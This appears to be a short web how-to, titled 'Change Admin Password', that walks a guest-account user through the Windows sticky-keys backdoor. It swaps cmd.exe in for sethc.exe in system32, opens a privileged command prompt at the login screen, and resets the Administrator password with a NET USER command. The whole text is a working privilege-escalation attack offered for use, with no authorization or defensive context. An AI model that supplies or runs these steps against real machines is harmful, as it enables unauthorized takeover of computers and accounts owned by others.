(Change Admin Password)

 Here is how to do that –

    go to c:/windows/system32
    copy cmd.exe and paste it on desktop
    rename cmd.exe to sethc.exe
    copy the sethc.exe to system32, when windows asks for overwriting click yes.
    now log out from your guest account and at the user select window press shift key 5 times
    nstead of stickly key confirmation dialog, command prompt with full administrator privileges will open
    now type “NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
    you will see “The Command completed successfully” and then exit the command prompt and login administrator with your new password.